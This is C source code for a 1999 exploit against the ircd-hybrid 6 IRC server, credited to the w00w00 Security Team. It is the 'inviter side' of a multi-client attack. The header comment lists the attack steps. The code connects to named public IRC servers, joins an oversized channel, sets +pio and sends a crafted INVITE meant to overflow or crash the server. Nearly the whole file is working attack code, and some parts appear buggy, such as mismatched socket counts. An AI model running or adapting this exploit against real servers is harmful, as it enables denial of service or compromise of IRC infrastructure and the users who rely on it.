home *** CD-ROM | disk | FTP | other *** search
- /*
- * ircd hybrid 6 exploit (inviter side)
- * Copyright (C) May 1999, Matt Conover & w00w00 Security Team
- *
- * When a channel is +pi with more than one op in it, it will send a
- * message to all other ops in the the channel with the following format:
- * INVITE: %s (%s invited %s [%s@%s])
- *
- * The steps to exploit this are as follows (requires 3 clients):
- * 1. Client A (9chars!10chars@trivial) joins #199chars
- * 2. Client B (trivial!trivial@trivial) joins #199chars
- * 3. Client A sets mode #199chars +pio Client B
- * 4. Client A invites Client C (9chars!10chars@58chars) to #199chars
- *
- * The code on the invitee's side is done separately.
- */
-
- #include <stdio.h>
- #include <unistd.h>
- #include <stdlib.h>
- #include <errno.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
-
- #define SAME 0
- #define ERROR -1
- #define BUFSIZE 512
-
- #define HOSTLEN 63
- #define CHANLEN 200
-
- /* NOTE: This code is not pretty, but tracking 3 clients isn't either. */
-
- struct servstruct {
- char *server;
- int port;
- };
-
- struct servstruct server[2] = {
- { "irc.arpa.com", 6667 },
- { "irc.freei.net", 6667 }
- };
-
- char nick[3][10] = {
- "clientaaa",
- "clientbbb",
- "clientccc"
- };
-
- int sockfd[2];
-
- char srchost[HOSTLEN+1];
- char channel[CHANLEN+1];
- char readbuf[BUFSIZE], writebuf[BUFSIZE];
-
- struct sockaddr_in servsin;
-
- /* ---------------------------------------- */
-
- void exploit();
- void checkerrors();
- void makeconn(int fd, char *nick, char *host, int port);
-
- char *inet_ntoa(struct in_addr in);
-
- int main(int argc, char **argv)
- {
- register int clients;
- struct hostent *hostent;
-
- if (gethostname(srchost, HOSTLEN) == ERROR)
- {
- fprintf(stderr, "error with gethostname(): %s\n", strerror(errno));
- fprintf(stderr, "continuing anyway.. but likely won't work\n");
-
- strcpy(srchost, "UNKNOWN");
- }
-
- for (clients = 0; clients < 2; clients++)
- {
- hostent = gethostbyname(server[clients].server);
- if (hostent == NULL)
- {
- fprintf(stderr, "gethostbyname() error (client %d): ",
- clients, strerror(h_errno));
-
- exit(ERROR);
- }
-
- servsin.sin_family = AF_INET;
- servsin.sin_port = htons(server[clients].port);
- memset(&servsin.sin_zero, 0, sizeof(servsin.sin_zero));
- memcpy(&servsin.sin_addr, hostent->h_addr, hostent->h_length);
-
- sockfd[clients] = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
-
- makeconn(sockfd[clients], nick[clients],
- server[clients].server,
- server[clients].port);
- }
-
- printf("Calling exploit()..\n");
- exploit();
-
- printf("All exploit work has been completed.\n");
- for (clients = 0; clients < 3; clients++) close(sockfd[clients]);
- return 0;
- }
-
-
- /* connect and login to irc server */
- void makeconn(int fd, char *nick, char *host, int port)
- {
- register int clients;
-
- printf("Connecting to %s (%s) [port %d] as:\n%s!%s@%s\n\n",
- host, (char *)inet_ntoa(servsin.sin_addr), port, nick,
- "AAAAAAAAAA", srchost);
-
- if (connect(fd, (struct sockaddr *)&servsin,
- sizeof(struct sockaddr_in)) == ERROR)
- {
- fprintf(stderr, "error connecting to %s: %s\n",
- host, strerror(errno));
-
- exit(ERROR);
- }
-
- memset(readbuf, 0, sizeof(readbuf));
- memset(writebuf, 0, sizeof(writebuf));
-
- snprintf(writebuf, BUFSIZE-1, "NICK %s\n", nick);
-
- printf("Sending NICK info for %s\n", nick);
- if (send(fd, writebuf, strlen(writebuf), 0) == ERROR)
- {
- fprintf(stderr, "error with send() (%s): %s\n",
- nick, strerror(errno));
-
- for (clients = 0; clients < 2; clients++) close(sockfd[clients]);
- exit(ERROR);
- }
-
- snprintf(writebuf, BUFSIZE-1, "USER AAAAAAAAAA none none :w00w00\n");
-
- printf("Sending USER info for %s\n", nick);
- if (send(fd, writebuf, strlen(writebuf), 0) == ERROR)
- {
- fprintf(stderr, "error with send() (%s): %s\n",
- nick, strerror(errno));
-
- for (clients = 0; clients < 2; clients++) close(sockfd[clients]);
- exit(ERROR);
- }
-
- sleep(5); /* make sure we give sockbuf enough time to fill up */
-
- if (clients < 2)
- {
- channel[0] = '#';
- memset(channel+1, 'A', CHANLEN-1);
- channel[CHANLEN] = '\0';
-
- memset(writebuf, 0, sizeof(writebuf));
- snprintf(writebuf, BUFSIZE-1, "JOIN %s\n", channel);
-
- printf("\n[%s] /JOIN'ing channel\n", nick);
-
- if (send(fd, writebuf, strlen(writebuf), 0) == ERROR)
- {
- fprintf(stderr, "error with send() (client %d): %s\n",
- clients, strerror(errno));
-
- for (clients = 0; clients < 2; clients++) close(fd);
- exit(ERROR);
- }
- }
-
- printf("\n[Client %d] Checking for login errors...\n", clients);
- checkerrors();
- printf("[Client %d] Successfuly logged in\n\n", clients);
- }
-
-
- /* check for errors in login */
- void checkerrors()
- {
- char *ptr;
- int res = ERROR;
- register int clients;
-
- for (clients = 0; clients < 2; clients++)
- {
- while (res == sizeof(readbuf) - 1)
- {
- res = recv(sockfd[clients], readbuf, sizeof(readbuf)-1, 0);
- if (res == ERROR)
- {
- fprintf(stderr, "error reading socket (client %d): %s\n",
- clients, strerror(errno));
-
- for (clients = 0; clients < 2; clients++)
- close(sockfd[clients]);
-
- exit(ERROR);
- }
-
- else
- {
- if (clients == 0)
- {
- ptr = strstr(readbuf, "hybrid-");
- if ((ptr != NULL) && (strncmp(ptr, "hybrid-6", 8) != SAME))
- {
- fprintf(stderr, "ERROR (client %d): "
- "the server must be a hybrid-6 ircd\n",
- clients);
-
- for (clients = 0; clients < 2; clients++)
- close(sockfd[clients]);
-
- exit(ERROR);
- }
- }
-
- ptr = strstr(readbuf, ":ERROR");
- if (ptr != NULL)
- {
- fprintf(stderr, "error with irc server (client %d):\n%s\n",
- clients, ptr);
-
- for (clients = 0; clients < 3; clients++)
- close(sockfd[clients]);
-
- exit(ERROR);
- }
- }
- }
- }
- }
-
- /* main part of program */
- void exploit()
- {
- register int clients;
-
- memset(writebuf, 0, sizeof(writebuf));
- snprintf(writebuf, BUFSIZE-1, "MODE %s +ipo %s\n", channel, nick[1]);
-
- printf("%s will now attempt to set channel modes\n", nick[0]);
-
- /* Client A sets modes and ops Client B */
- if (send(sockfd[0], writebuf, strlen(writebuf), 0) == ERROR)
- {
- fprintf(stderr, "error with send(): %s\n", strerror(errno));
-
- for (clients = 0; clients < 2; clients++) close(clients[sockfd]);
- exit(ERROR);
- }
-
- sleep(3), checkerrors(); /* check to see if we had a race condition */
-
- printf("\nAttempting to invite %s (the final item)..\n", nick[2]);
- memset(writebuf, 0, sizeof(writebuf));
- snprintf(writebuf, BUFSIZE-1, "INVITE %s %s\n", nick[2], channel);
-
- /* ircd ownage/crash will occur during after this send() */
- if (send(sockfd[0], writebuf, strlen(writebuf), 0) == ERROR)
- {
- fprintf(stderr, "error with send() (client %d): %s\n",
- clients, strerror(errno));
-
- for (clients = 0; clients < 2; clients++) close(sockfd[clients]);
- exit(ERROR);
- }
-
- /* should have stopped/crashed on server-side by now */
- checkerrors();
- }
-